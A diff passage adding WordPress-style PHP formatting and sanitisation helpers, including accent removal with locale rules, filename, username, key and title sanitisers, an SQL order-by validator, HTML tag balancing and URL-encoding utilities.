+		'Ŵ' => 'W', 'ŵ' => 'w',
+		'Ŷ' => 'Y', 'ŷ' => 'y',
+		'Ÿ' => 'Y', 'Ź' => 'Z',
+		'ź' => 'z', 'Ż' => 'Z',
+		'ż' => 'z', 'Ž' => 'Z',
+		'ž' => 'z', 'ſ' => 's',
+		// Decompositions for Latin Extended-B
+		'Ș' => 'S', 'ș' => 's',
+		'Ț' => 'T', 'ț' => 't',
+		// Euro Sign
+		'€' => 'E',
+		// GBP (Pound) Sign
+		'£' => '',
+		// Vowels with diacritic (Vietnamese)
+		// unmarked
+		'Ơ' => 'O', 'ơ' => 'o',
+		'Ư' => 'U', 'ư' => 'u',
+		// grave accent
+		'Ầ' => 'A', 'ầ' => 'a',
+		'Ằ' => 'A', 'ằ' => 'a',
+		'Ề' => 'E', 'ề' => 'e',
+		'Ồ' => 'O', 'ồ' => 'o',
+		'Ờ' => 'O', 'ờ' => 'o',
+		'Ừ' => 'U', 'ừ' => 'u',
+		'Ỳ' => 'Y', 'ỳ' => 'y',
+		// hook
+		'Ả' => 'A', 'ả' => 'a',
+		'Ẩ' => 'A', 'ẩ' => 'a',
+		'Ẳ' => 'A', 'ẳ' => 'a',
+		'Ẻ' => 'E', 'ẻ' => 'e',
+		'Ể' => 'E', 'ể' => 'e',
+		'Ỉ' => 'I', 'ỉ' => 'i',
+		'Ỏ' => 'O', 'ỏ' => 'o',
+		'Ổ' => 'O', 'ổ' => 'o',
+		'Ở' => 'O', 'ở' => 'o',
+		'Ủ' => 'U', 'ủ' => 'u',
+		'Ử' => 'U', 'ử' => 'u',
+		'Ỷ' => 'Y', 'ỷ' => 'y',
+		// tilde
+		'Ẫ' => 'A', 'ẫ' => 'a',
+		'Ẵ' => 'A', 'ẵ' => 'a',
+		'Ẽ' => 'E', 'ẽ' => 'e',
+		'Ễ' => 'E', 'ễ' => 'e',
+		'Ỗ' => 'O', 'ỗ' => 'o',
+		'Ỡ' => 'O', 'ỡ' => 'o',
+		'Ữ' => 'U', 'ữ' => 'u',
+		'Ỹ' => 'Y', 'ỹ' => 'y',
+		// acute accent
+		'Ấ' => 'A', 'ấ' => 'a',
+		'Ắ' => 'A', 'ắ' => 'a',
+		'Ế' => 'E', 'ế' => 'e',
+		'Ố' => 'O', 'ố' => 'o',
+		'Ớ' => 'O', 'ớ' => 'o',
+		'Ứ' => 'U', 'ứ' => 'u',
+		// dot below
+		'Ạ' => 'A', 'ạ' => 'a',
+		'Ậ' => 'A', 'ậ' => 'a',
+		'Ặ' => 'A', 'ặ' => 'a',
+		'Ẹ' => 'E', 'ẹ' => 'e',
+		'Ệ' => 'E', 'ệ' => 'e',
+		'Ị' => 'I', 'ị' => 'i',
+		'Ọ' => 'O', 'ọ' => 'o',
+		'Ộ' => 'O', 'ộ' => 'o',
+		'Ợ' => 'O', 'ợ' => 'o',
+		'Ụ' => 'U', 'ụ' => 'u',
+		'Ự' => 'U', 'ự' => 'u',
+		'Ỵ' => 'Y', 'ỵ' => 'y',
+		// Vowels with diacritic (Chinese, Hanyu Pinyin)
+		'ɑ' => 'a',
+		// macron
+		'Ǖ' => 'U', 'ǖ' => 'u',
+		// acute accent
+		'Ǘ' => 'U', 'ǘ' => 'u',
+		// caron
+		'Ǎ' => 'A', 'ǎ' => 'a',
+		'Ǐ' => 'I', 'ǐ' => 'i',
+		'Ǒ' => 'O', 'ǒ' => 'o',
+		'Ǔ' => 'U', 'ǔ' => 'u',
+		'Ǚ' => 'U', 'ǚ' => 'u',
+		// grave accent
+		'Ǜ' => 'U', 'ǜ' => 'u',
+		);
+
+		// Used for locale-specific rules
+		$locale = get_locale();
+
+		if ( 'de_DE' == $locale || 'de_DE_formal' == $locale || 'de_CH' == $locale || 'de_CH_informal' == $locale ) {
+			$chars[ 'Ä' ] = 'Ae';
+			$chars[ 'ä' ] = 'ae';
+			$chars[ 'Ö' ] = 'Oe';
+			$chars[ 'ö' ] = 'oe';
+			$chars[ 'Ü' ] = 'Ue';
+			$chars[ 'ü' ] = 'ue';
+			$chars[ 'ß' ] = 'ss';
+		} elseif ( 'da_DK' === $locale ) {
+			$chars[ 'Æ' ] = 'Ae';
+ 			$chars[ 'æ' ] = 'ae';
+			$chars[ 'Ø' ] = 'Oe';
+			$chars[ 'ø' ] = 'oe';
+			$chars[ 'Å' ] = 'Aa';
+			$chars[ 'å' ] = 'aa';
+		} elseif ( 'ca' === $locale ) {
+			$chars[ 'l·l' ] = 'll';
+		} elseif ( 'sr_RS' === $locale || 'bs_BA' === $locale ) {
+			$chars[ 'Đ' ] = 'DJ';
+			$chars[ 'đ' ] = 'dj';
+		}
+
+		$string = strtr($string, $chars);
+	} else {
+		$chars = array();
+		// Assume ISO-8859-1 if not UTF-8
+		$chars['in'] = "\x80\x83\x8a\x8e\x9a\x9e"
+			."\x9f\xa2\xa5\xb5\xc0\xc1\xc2"
+			."\xc3\xc4\xc5\xc7\xc8\xc9\xca"
+			."\xcb\xcc\xcd\xce\xcf\xd1\xd2"
+			."\xd3\xd4\xd5\xd6\xd8\xd9\xda"
+			."\xdb\xdc\xdd\xe0\xe1\xe2\xe3"
+			."\xe4\xe5\xe7\xe8\xe9\xea\xeb"
+			."\xec\xed\xee\xef\xf1\xf2\xf3"
+			."\xf4\xf5\xf6\xf8\xf9\xfa\xfb"
+			."\xfc\xfd\xff";
+
+		$chars['out'] = "EfSZszYcYuAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyy";
+
+		$string = strtr($string, $chars['in'], $chars['out']);
+		$double_chars = array();
+		$double_chars['in'] = array("\x8c", "\x9c", "\xc6", "\xd0", "\xde", "\xdf", "\xe6", "\xf0", "\xfe");
+		$double_chars['out'] = array('OE', 'oe', 'AE', 'DH', 'TH', 'ss', 'ae', 'dh', 'th');
+		$string = str_replace($double_chars['in'], $double_chars['out'], $string);
+	}
+
+	return $string;
+}
+
+/**
+ * Sanitizes a filename, replacing whitespace with dashes.
+ *
+ * Removes special characters that are illegal in filenames on certain
+ * operating systems and special characters requiring special escaping
+ * to manipulate at the command line. Replaces spaces and consecutive
+ * dashes with a single dash. Trims period, dash and underscore from beginning
+ * and end of filename. It is not guaranteed that this function will return a
+ * filename that is allowed to be uploaded.
+ *
+ * @since 2.1.0
+ *
+ * @param string $filename The filename to be sanitized
+ * @return string The sanitized filename
+ */
+function sanitize_file_name( $filename ) {
+	$filename_raw = $filename;
+	$special_chars = array("?", "[", "]", "/", "\\", "=", "<", ">", ":", ";", ",", "'", "\"", "&", "$", "#", "*", "(", ")", "|", "~", "`", "!", "{", "}", "%", "+", chr(0));
+
+	// Check for support for utf8 in the installed PCRE library once and store the result in a static.
+	static $utf8_pcre = null;
+	if ( ! isset( $utf8_pcre ) ) {
+		// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+		$utf8_pcre = @preg_match( '/^./u', 'a' );
+	}
+
+	if ( ! seems_utf8( $filename ) ) {
+		$_ext     = pathinfo( $filename, PATHINFO_EXTENSION );
+		$_name    = pathinfo( $filename, PATHINFO_FILENAME );
+		$filename = sanitize_title_with_dashes( $_name ) . '.' . $_ext;
+	}
+
+	if ( $utf8_pcre ) {
+		$filename = preg_replace( "#\x{00a0}#siu", ' ', $filename );
+	}
+
+	/**
+	 * Filters the list of characters to remove from a filename.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array  $special_chars Characters to remove.
+	 * @param string $filename_raw  Filename as it was passed into sanitize_file_name().
+	 */
+	$special_chars = apply_filters( 'sanitize_file_name_chars', $special_chars, $filename_raw );
+	$filename = str_replace( $special_chars, '', $filename );
+	$filename = str_replace( array( '%20', '+' ), '-', $filename );
+	$filename = preg_replace( '/[\r\n\t -]+/', '-', $filename );
+	$filename = trim( $filename, '.-_' );
+
+	if ( false === strpos( $filename, '.' ) ) {
+		$mime_types = wp_get_mime_types();
+		$filetype = wp_check_filetype( 'test.' . $filename, $mime_types );
+		if ( $filetype['ext'] === $filename ) {
+			$filename = 'unnamed-file.' . $filetype['ext'];
+		}
+	}
+
+	// Split the filename into a base and extension[s]
+	$parts = explode('.', $filename);
+
+	// Return if only one extension
+	if ( count( $parts ) <= 2 ) {
+		/**
+		 * Filters a sanitized filename string.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param string $filename     Sanitized filename.
+		 * @param string $filename_raw The filename prior to sanitization.
+		 */
+		return apply_filters( 'sanitize_file_name', $filename, $filename_raw );
+	}
+
+	// Process multiple extensions
+	$filename = array_shift($parts);
+	$extension = array_pop($parts);
+	$mimes = get_allowed_mime_types();
+
+	/*
+	 * Loop over any intermediate extensions. Postfix them with a trailing underscore
+	 * if they are a 2 - 5 character long alpha string not in the extension whitelist.
+	 */
+	foreach ( (array) $parts as $part) {
+		$filename .= '.' . $part;
+
+		if ( preg_match("/^[a-zA-Z]{2,5}\d?$/", $part) ) {
+			$allowed = false;
+			foreach ( $mimes as $ext_preg => $mime_match ) {
+				$ext_preg = '!^(' . $ext_preg . ')$!i';
+				if ( preg_match( $ext_preg, $part ) ) {
+					$allowed = true;
+					break;
+				}
+			}
+			if ( !$allowed )
+				$filename .= '_';
+		}
+	}
+	$filename .= '.' . $extension;
+	/** This filter is documented in wp-includes/formatting.php */
+	return apply_filters('sanitize_file_name', $filename, $filename_raw);
+}
+
+/**
+ * Sanitizes a username, stripping out unsafe characters.
+ *
+ * Removes tags, octets, entities, and if strict is enabled, will only keep
+ * alphanumeric, _, space, ., -, @. After sanitizing, it passes the username,
+ * raw username (the username in the parameter), and the value of $strict as
+ * parameters for the {@see 'sanitize_user'} filter.
+ *
+ * @since 2.0.0
+ *
+ * @param string $username The username to be sanitized.
+ * @param bool   $strict   If set limits $username to specific characters. Default false.
+ * @return string The sanitized username, after passing through filters.
+ */
+function sanitize_user( $username, $strict = false ) {
+	$raw_username = $username;
+	$username = wp_strip_all_tags( $username );
+	$username = remove_accents( $username );
+	// Kill octets
+	$username = preg_replace( '|%([a-fA-F0-9][a-fA-F0-9])|', '', $username );
+	$username = preg_replace( '/&.+?;/', '', $username ); // Kill entities
+
+	// If strict, reduce to ASCII for max portability.
+	if ( $strict )
+		$username = preg_replace( '|[^a-z0-9 _.\-@]|i', '', $username );
+
+	$username = trim( $username );
+	// Consolidate contiguous whitespace
+	$username = preg_replace( '|\s+|', ' ', $username );
+
+	/**
+	 * Filters a sanitized username string.
+	 *
+	 * @since 2.0.1
+	 *
+	 * @param string $username     Sanitized username.
+	 * @param string $raw_username The username prior to sanitization.
+	 * @param bool   $strict       Whether to limit the sanitization to specific characters. Default false.
+	 */
+	return apply_filters( 'sanitize_user', $username, $raw_username, $strict );
+}
+
+/**
+ * Sanitizes a string key.
+ *
+ * Keys are used as internal identifiers. Lowercase alphanumeric characters, dashes and underscores are allowed.
+ *
+ * @since 3.0.0
+ *
+ * @param string $key String key
+ * @return string Sanitized key
+ */
+function sanitize_key( $key ) {
+	$raw_key = $key;
+	$key = strtolower( $key );
+	$key = preg_replace( '/[^a-z0-9_\-]/', '', $key );
+
+	/**
+	 * Filters a sanitized key string.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $key     Sanitized key.
+	 * @param string $raw_key The key prior to sanitization.
+	 */
+	return apply_filters( 'sanitize_key', $key, $raw_key );
+}
+
+/**
+ * Sanitizes a title, or returns a fallback title.
+ *
+ * Specifically, HTML and PHP tags are stripped. Further actions can be added
+ * via the plugin API. If $title is empty and $fallback_title is set, the latter
+ * will be used.
+ *
+ * @since 1.0.0
+ *
+ * @param string $title          The string to be sanitized.
+ * @param string $fallback_title Optional. A title to use if $title is empty.
+ * @param string $context        Optional. The operation for which the string is sanitized
+ * @return string The sanitized string.
+ */
+function sanitize_title( $title, $fallback_title = '', $context = 'save' ) {
+	$raw_title = $title;
+
+	if ( 'save' == $context )
+		$title = remove_accents($title);
+
+	/**
+	 * Filters a sanitized title string.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param string $title     Sanitized title.
+	 * @param string $raw_title The title prior to sanitization.
+	 * @param string $context   The context for which the title is being sanitized.
+	 */
+	$title = apply_filters( 'sanitize_title', $title, $raw_title, $context );
+
+	if ( '' === $title || false === $title )
+		$title = $fallback_title;
+
+	return $title;
+}
+
+/**
+ * Sanitizes a title with the 'query' context.
+ *
+ * Used for querying the database for a value from URL.
+ *
+ * @since 3.1.0
+ *
+ * @param string $title The string to be sanitized.
+ * @return string The sanitized string.
+ */
+function sanitize_title_for_query( $title ) {
+	return sanitize_title( $title, '', 'query' );
+}
+
+/**
+ * Sanitizes a title, replacing whitespace and a few other characters with dashes.
+ *
+ * Limits the output to alphanumeric characters, underscore (_) and dash (-).
+ * Whitespace becomes a dash.
+ *
+ * @since 1.2.0
+ *
+ * @param string $title     The title to be sanitized.
+ * @param string $raw_title Optional. Not used.
+ * @param string $context   Optional. The operation for which the string is sanitized.
+ * @return string The sanitized title.
+ */
+function sanitize_title_with_dashes( $title, $raw_title = '', $context = 'display' ) {
+	$title = strip_tags($title);
+	// Preserve escaped octets.
+	$title = preg_replace('|%([a-fA-F0-9][a-fA-F0-9])|', '---$1---', $title);
+	// Remove percent signs that are not part of an octet.
+	$title = str_replace('%', '', $title);
+	// Restore octets.
+	$title = preg_replace('|---([a-fA-F0-9][a-fA-F0-9])---|', '%$1', $title);
+
+	if (seems_utf8($title)) {
+		if (function_exists('mb_strtolower')) {
+			$title = mb_strtolower($title, 'UTF-8');
+		}
+		$title = utf8_uri_encode( $title, 200 );
+	}
+
+	$title = strtolower($title);
+
+	if ( 'save' == $context ) {
+		// Convert nbsp, ndash and mdash to hyphens
+		$title = str_replace( array( '%c2%a0', '%e2%80%93', '%e2%80%94' ), '-', $title );
+		// Convert nbsp, ndash and mdash HTML entities to hyphens
+		$title = str_replace( array( '&nbsp;', '&#160;', '&ndash;', '&#8211;', '&mdash;', '&#8212;' ), '-', $title );
+		// Convert forward slash to hyphen
+		$title = str_replace( '/', '-', $title );
+
+		// Strip these characters entirely
+		$title = str_replace( array(
+			// iexcl and iquest
+			'%c2%a1', '%c2%bf',
+			// angle quotes
+			'%c2%ab', '%c2%bb', '%e2%80%b9', '%e2%80%ba',
+			// curly quotes
+			'%e2%80%98', '%e2%80%99', '%e2%80%9c', '%e2%80%9d',
+			'%e2%80%9a', '%e2%80%9b', '%e2%80%9e', '%e2%80%9f',
+			// copy, reg, deg, hellip and trade
+			'%c2%a9', '%c2%ae', '%c2%b0', '%e2%80%a6', '%e2%84%a2',
+			// acute accents
+			'%c2%b4', '%cb%8a', '%cc%81', '%cd%81',
+			// grave accent, macron, caron
+			'%cc%80', '%cc%84', '%cc%8c',
+		), '', $title );
+
+		// Convert times to x
+		$title = str_replace( '%c3%97', 'x', $title );
+	}
+
+	$title = preg_replace('/&.+?;/', '', $title); // kill entities
+	$title = str_replace('.', '-', $title);
+
+	$title = preg_replace('/[^%a-z0-9 _-]/', '', $title);
+	$title = preg_replace('/\s+/', '-', $title);
+	$title = preg_replace('|-+|', '-', $title);
+	$title = trim($title, '-');
+
+	return $title;
+}
+
+/**
+ * Ensures a string is a valid SQL 'order by' clause.
+ *
+ * Accepts one or more columns, with or without a sort order (ASC / DESC).
+ * e.g. 'column_1', 'column_1, column_2', 'column_1 ASC, column_2 DESC' etc.
+ *
+ * Also accepts 'RAND()'.
+ *
+ * @since 2.5.1
+ *
+ * @param string $orderby Order by clause to be validated.
+ * @return string|false Returns $orderby if valid, false otherwise.
+ */
+function sanitize_sql_orderby( $orderby ) {
+	if ( preg_match( '/^\s*(([a-z0-9_]+|`[a-z0-9_]+`)(\s+(ASC|DESC))?\s*(,\s*(?=[a-z0-9_`])|$))+$/i', $orderby ) || preg_match( '/^\s*RAND\(\s*\)\s*$/i', $orderby ) ) {
+		return $orderby;
+	}
+	return false;
+}
+
+/**
+ * Sanitizes an HTML classname to ensure it only contains valid characters.
+ *
+ * Strips the string down to A-Z,a-z,0-9,_,-. If this results in an empty
+ * string then it will return the alternative value supplied.
+ *
+ * @todo Expand to support the full range of CDATA that a class attribute can contain.
+ *
+ * @since 2.8.0
+ *
+ * @param string $class    The classname to be sanitized
+ * @param string $fallback Optional. The value to return if the sanitization ends up as an empty string.
+ * 	Defaults to an empty string.
+ * @return string The sanitized value
+ */
+function sanitize_html_class( $class, $fallback = '' ) {
+	//Strip out any % encoded octets
+	$sanitized = preg_replace( '|%[a-fA-F0-9][a-fA-F0-9]|', '', $class );
+
+	//Limit to A-Z,a-z,0-9,_,-
+	$sanitized = preg_replace( '/[^A-Za-z0-9_-]/', '', $sanitized );
+
+	if ( '' == $sanitized && $fallback ) {
+		return sanitize_html_class( $fallback );
+	}
+	/**
+	 * Filters a sanitized HTML class string.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $sanitized The sanitized HTML class.
+	 * @param string $class     HTML class before sanitization.
+	 * @param string $fallback  The fallback string.
+	 */
+	return apply_filters( 'sanitize_html_class', $sanitized, $class, $fallback );
+}
+
+/**
+ * Strips out all characters not allowed in a locale name.
+ *
+ * @since 6.2.1
+ *
+ * @param string $locale_name The locale name to be sanitized.
+ * @return string The sanitized value.
+ */
+function sanitize_locale_name( $locale_name ) {
+	// Limit to A-Z, a-z, 0-9, '_', '-'.
+	$sanitized = preg_replace( '/[^A-Za-z0-9_-]/', '', $locale_name );
+
+	/**
+	 * Filters a sanitized locale name string.
+	 *
+	 * @since 6.2.1
+	 *
+	 * @param string $sanitized   The sanitized locale name.
+	 * @param string $locale_name The locale name before sanitization.
+	 */
+	return apply_filters( 'sanitize_locale_name', $sanitized, $locale_name );
+}
+
+/**
+ * Converts lone & characters into `&#038;` (a.k.a. `&amp;`)
+ *
+ * @since 0.71
+ *
+ * @param string $content    String of characters to be converted.
+ * @param string $deprecated Not used.
+ * @return string Converted string.
+ */
+function convert_chars( $content, $deprecated = '' ) {
+	if ( ! empty( $deprecated ) ) {
+		_deprecated_argument( __FUNCTION__, '0.71' );
+	}
+
+	if ( strpos( $content, '&' ) !== false ) {
+		$content = preg_replace( '/&([^#])(?![a-z1-4]{1,8};)/i', '&#038;$1', $content );
+	}
+
+	return $content;
+}
+
+/**
+ * Converts invalid Unicode references range to valid range.
+ *
+ * @since 4.3.0
+ *
+ * @param string $content String with entities that need converting.
+ * @return string Converted string.
+ */
+function convert_invalid_entities( $content ) {
+	$wp_htmltranswinuni = array(
+		'&#128;' => '&#8364;', // the Euro sign
+		'&#129;' => '',
+		'&#130;' => '&#8218;', // these are Windows CP1252 specific characters
+		'&#131;' => '&#402;',  // they would look weird on non-Windows browsers
+		'&#132;' => '&#8222;',
+		'&#133;' => '&#8230;',
+		'&#134;' => '&#8224;',
+		'&#135;' => '&#8225;',
+		'&#136;' => '&#710;',
+		'&#137;' => '&#8240;',
+		'&#138;' => '&#352;',
+		'&#139;' => '&#8249;',
+		'&#140;' => '&#338;',
+		'&#141;' => '',
+		'&#142;' => '&#381;',
+		'&#143;' => '',
+		'&#144;' => '',
+		'&#145;' => '&#8216;',
+		'&#146;' => '&#8217;',
+		'&#147;' => '&#8220;',
+		'&#148;' => '&#8221;',
+		'&#149;' => '&#8226;',
+		'&#150;' => '&#8211;',
+		'&#151;' => '&#8212;',
+		'&#152;' => '&#732;',
+		'&#153;' => '&#8482;',
+		'&#154;' => '&#353;',
+		'&#155;' => '&#8250;',
+		'&#156;' => '&#339;',
+		'&#157;' => '',
+		'&#158;' => '&#382;',
+		'&#159;' => '&#376;'
+	);
+
+	if ( strpos( $content, '&#1' ) !== false ) {
+		$content = strtr( $content, $wp_htmltranswinuni );
+	}
+
+	return $content;
+}
+
+/**
+ * Balances tags if forced to, or if the 'use_balanceTags' option is set to true.
+ *
+ * @since 0.71
+ *
+ * @param string $text  Text to be balanced
+ * @param bool   $force If true, forces balancing, ignoring the value of the option. Default false.
+ * @return string Balanced text
+ */
+function balanceTags( $text, $force = false ) {
+	if ( $force || get_option('use_balanceTags') == 1 ) {
+		return force_balance_tags( $text );
+	} else {
+		return $text;
+	}
+}
+
+/**
+ * Balances tags of string using a modified stack.
+ *
+ * @since 2.0.4
+ *
+ * @author Leonard Lin <leonard@acm.org>
+ * @license GPL
+ * @copyright November 4, 2001
+ * @version 1.1
+ * @todo Make better - change loop condition to $text in 1.2
+ * @internal Modified by Scott Reilly (coffee2code) 02 Aug 2004
+ *		1.1  Fixed handling of append/stack pop order of end text
+ *			 Added Cleaning Hooks
+ *		1.0  First Version
+ *
+ * @param string $text Text to be balanced.
+ * @return string Balanced text.
+ */
+function force_balance_tags( $text ) {
+	$tagstack = array();
+	$stacksize = 0;
+	$tagqueue = '';
+	$newtext = '';
+	// Known single-entity/self-closing tags
+	$single_tags = array( 'area', 'base', 'basefont', 'br', 'col', 'command', 'embed', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param', 'source' );
+	// Tags that can be immediately nested within themselves
+	$nestable_tags = array( 'blockquote', 'div', 'object', 'q', 'span' );
+
+	// WP bug fix for comments - in case you REALLY meant to type '< !--'
+	$text = str_replace('< !--', '<    !--', $text);
+	// WP bug fix for LOVE <3 (and other situations with '<' before a number)
+	$text = preg_replace('#<([0-9]{1})#', '&lt;$1', $text);
+
+	while ( preg_match("/<(\/?[\w:]*)\s*([^>]*)>/", $text, $regex) ) {
+		$newtext .= $tagqueue;
+
+		$i = strpos($text, $regex[0]);
+		$l = strlen($regex[0]);
+
+		// clear the shifter
+		$tagqueue = '';
+		// Pop or Push
+		if ( isset($regex[1][0]) && '/' == $regex[1][0] ) { // End Tag
+			$tag = strtolower(substr($regex[1],1));
+			// if too many closing tags
+			if ( $stacksize <= 0 ) {
+				$tag = '';
+				// or close to be safe $tag = '/' . $tag;
+			}
+			// if stacktop value = tag close value then pop
+			elseif ( $tagstack[$stacksize - 1] == $tag ) { // found closing tag
+				$tag = '</' . $tag . '>'; // Close Tag
+				// Pop
+				array_pop( $tagstack );
+				$stacksize--;
+			} else { // closing tag not at top, search for it
+				for ( $j = $stacksize-1; $j >= 0; $j-- ) {
+					if ( $tagstack[$j] == $tag ) {
+					// add tag to tagqueue
+						for ( $k = $stacksize-1; $k >= $j; $k--) {
+							$tagqueue .= '</' . array_pop( $tagstack ) . '>';
+							$stacksize--;
+						}
+						break;
+					}
+				}
+				$tag = '';
+			}
+		} else { // Begin Tag
+			$tag = strtolower($regex[1]);
+
+			// Tag Cleaning
+
+			// If it's an empty tag "< >", do nothing
+			if ( '' == $tag ) {
+				// do nothing
+			}
+			// ElseIf it presents itself as a self-closing tag...
+			elseif ( substr( $regex[2], -1 ) == '/' ) {
+				// ...but it isn't a known single-entity self-closing tag, then don't let it be treated as such and
+				// immediately close it with a closing tag (the tag will encapsulate no text as a result)
+				if ( ! in_array( $tag, $single_tags ) )
+					$regex[2] = trim( substr( $regex[2], 0, -1 ) ) . "></$tag";
+			}
+			// ElseIf it's a known single-entity tag but it doesn't close itself, do so
+			elseif ( in_array($tag, $single_tags) ) {
+				$regex[2] .= '/';
+			}
+			// Else it's not a single-entity tag
+			else {
+				// If the top of the stack is the same as the tag we want to push, close previous tag
+				if ( $stacksize > 0 && !in_array($tag, $nestable_tags) && $tagstack[$stacksize - 1] == $tag ) {
+					$tagqueue = '</' . array_pop( $tagstack ) . '>';
+					$stacksize--;
+				}
+				$stacksize = array_push( $tagstack, $tag );
+			}
+
+			// Attributes
+			$attributes = $regex[2];
+			if ( ! empty( $attributes ) && $attributes[0] != '>' )
+				$attributes = ' ' . $attributes;
+
+			$tag = '<' . $tag . $attributes . '>';
+			//If already queuing a close tag, then put this tag on, too
+			if ( !empty($tagqueue) ) {
+				$tagqueue .= $tag;
+				$tag = '';
+			}
+		}
+		$newtext .= substr($text, 0, $i) . $tag;
+		$text = substr($text, $i + $l);
+	}
+
+	// Clear Tag Queue
+	$newtext .= $tagqueue;
+
+	// Add Remaining text
+	$newtext .= $text;
+
+	// Empty Stack
+	while( $x = array_pop($tagstack) )
+		$newtext .= '</' . $x . '>'; // Add remaining tags to close
+
+	// WP fix for the bug with HTML comments
+	$newtext = str_replace("< !--","<!--",$newtext);
+	$newtext = str_replace("<    !--","< !--",$newtext);
+
+	return $newtext;
+}
+
+/**
+ * Acts on text which is about to be edited.
+ *
+ * The $content is run through esc_textarea(), which uses htmlspecialchars()
+ * to convert special characters to HTML entities. If `$richedit` is set to true,
+ * it is simply a holder for the {@see 'format_to_edit'} filter.
+ *
+ * @since 0.71
+ * @since 4.4.0 The `$richedit` parameter was renamed to `$rich_text` for clarity.
+ *
+ * @param string $content   The text about to be edited.
+ * @param bool   $rich_text Optional. Whether `$content` should be considered rich text,
+ *                          in which case it would not be passed through esc_textarea().
+ *                          Default false.
+ * @return string The text after the filter (and possibly htmlspecialchars()) has been run.
+ */
+function format_to_edit( $content, $rich_text = false ) {
+	/**
+	 * Filters the text to be formatted for editing.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param string $content The text, prior to formatting for editing.
+	 */
+	$content = apply_filters( 'format_to_edit', $content );
+	if ( ! $rich_text )
+		$content = esc_textarea( $content );
+	return $content;
+}
+
+/**
+ * Add leading zeros when necessary.
+ *
+ * If you set the threshold to '4' and the number is '10', then you will get
+ * back '0010'. If you set the threshold to '4' and the number is '5000', then you
+ * will get back '5000'.
+ *
+ * Uses sprintf to append the amount of zeros based on the $threshold parameter
+ * and the size of the number. If the number is large enough, then no zeros will
+ * be appended.
+ *
+ * @since 0.71
+ *
+ * @param int $number     Number to append zeros to if not greater than threshold.
+ * @param int $threshold  Digit places number needs to be to not have zeros added.
+ * @return string Adds leading zeros to number if needed.
+ */
+function zeroise( $number, $threshold ) {
+	return sprintf( '%0' . $threshold . 's', $number );
+}
+
+/**
+ * Adds backslashes before letters and before a number at the start of a string.
+ *
+ * @since 0.71
+ *
+ * @param string $string Value to which backslashes will be added.
+ * @return string String with backslashes inserted.
+ */
+function backslashit( $string ) {
+	if ( isset( $string[0] ) && $string[0] >= '0' && $string[0] <= '9' )
+		$string = '\\\\' . $string;
+	return addcslashes( $string, 'A..Za..z' );
+}
+
+/**
+ * Appends a trailing slash.
+ *
+ * Will remove trailing forward and backslashes if it exists already before adding
+ * a trailing forward slash. This prevents double slashing a string or path.
+ *
+ * The primary use of this is for paths and thus should be used for paths. It is
+ * not restricted to paths and offers no specific path support.
+ *
+ * @since 1.2.0
+ *
+ * @param string $string What to add the trailing slash to.
+ * @return string String with trailing slash added.
+ */
+function trailingslashit( $string ) {
+	return untrailingslashit( $string ) . '/';
+}
+
+/**
+ * Removes trailing forward slashes and backslashes if they exist.
+ *
+ * The primary use of this is for paths and thus should be used for paths. It is
+ * not restricted to paths and offers no specific path support.
+ *
+ * @since 2.2.0
+ *
+ * @param string $string What to remove the trailing slashes from.
+ * @return string String without the trailing slashes.
+ */
+function untrailingslashit( $string ) {
+	return rtrim( $string, '/\\' );
+}
+
+/**
+ * Adds slashes to escape strings.
+ *
+ * Slashes will first be removed if magic_quotes_gpc is set, see {@link
+ * https://secure.php.net/magic_quotes} for more details.
+ *
+ * @since 0.71
+ *
+ * @param string $gpc The string returned from HTTP request data.
+ * @return string Returns a string escaped with slashes.
+ */
+function addslashes_gpc($gpc) {
+	if ( get_magic_quotes_gpc() )
+		$gpc = stripslashes($gpc);
+
+	return wp_slash($gpc);
+}
+
+/**
+ * Navigates through an array, object, or scalar, and removes slashes from the values.
+ *
+ * @since 2.0.0
+ *
+ * @param mixed $value The value to be stripped.
+ * @return mixed Stripped value.
+ */
+function stripslashes_deep( $value ) {
+	return map_deep( $value, 'stripslashes_from_strings_only' );
+}
+
+/**
+ * Callback function for `stripslashes_deep()` which strips slashes from strings.
+ *
+ * @since 4.4.0
+ *
+ * @param mixed $value The array or string to be stripped.
+ * @return mixed $value The stripped value.
+ */
+function stripslashes_from_strings_only( $value ) {
+	return is_string( $value ) ? stripslashes( $value ) : $value;
+}
+
+/**
+ * Navigates through an array, object, or scalar, and encodes the values to be used in a URL.
+ *
+ * @since 2.2.0
+ *
+ * @param mixed $value The array or string to be encoded.
+ * @return mixed $value The encoded value.
+ */
+function urlencode_deep( $value ) {
+	return map_deep( $value, 'urlencode' );
+}
+
+/**
+ * Navigates through an array, object, or scalar, and raw-encodes the values to be used in a URL.
+ *
+ * @since 3.4.0
+ *
+ * @param mixed $value The array or string to be encoded.
+ * @return mixed $value The encoded value.
+ */
+function rawurlencode_deep( $value ) {
+	return map_deep( $value, 'rawurlencode' );
+}
+
+/**
+ * Navigates through an array, object, or scalar, and decodes URL-encoded values
+ *
+ * @since 4.4.0
+ *
+ * @param mixed $value The array or string to be decoded.
+ * @return mixed $value The decoded value.
+ */
+function urldecode_deep( $value ) {
+	return map_deep( $value, 'urldecode' );
+}
+
+/**
+ * Converts email addresses characters to HTML entities to block spam bots.
+ *
+ * @since 0.71
+ *
+ * @param string $email_address Email address.
+ * @param int    $hex_encoding  Optional. Set to 1 to enable hex encoding.
+ * @return string Converted email address.
+ */
+function antispambot( $email_address, $hex_encoding = 0 ) {
+	$email_no_spam_address = '';
+	for ( $i = 0, $len = strlen( $email_address ); $i < $len; $i++ ) {
+		$j = rand( 0, 1 + $hex_encoding );
+		if ( $j == 0 ) {
+			$email_no_spam_address .= '&#' . ord( $email_address[$i] ) . ';';
+		} elseif ( $j == 1 ) {
+			$email_no_spam_address .= $email_address[$i];
+		} elseif ( $j == 2 ) {
+			$email_no_spam_address .= '%' . zeroise( dechex( ord( $email_address[$i] ) ), 2 );
+		}
+	}
+
+	return str_replace( '@', '&#64;', $email_no_spam_address );
+}
+
+/**
+ * Callback to convert URI match to HTML A element.
+ *
+ * This function was backported from 2.5.0 to 2.3.2. Regex callback for make_clickable().
+ *
+ * @since 2.3.2
+ * @access private
+ *
+ * @param array $matches Single Regex Match.
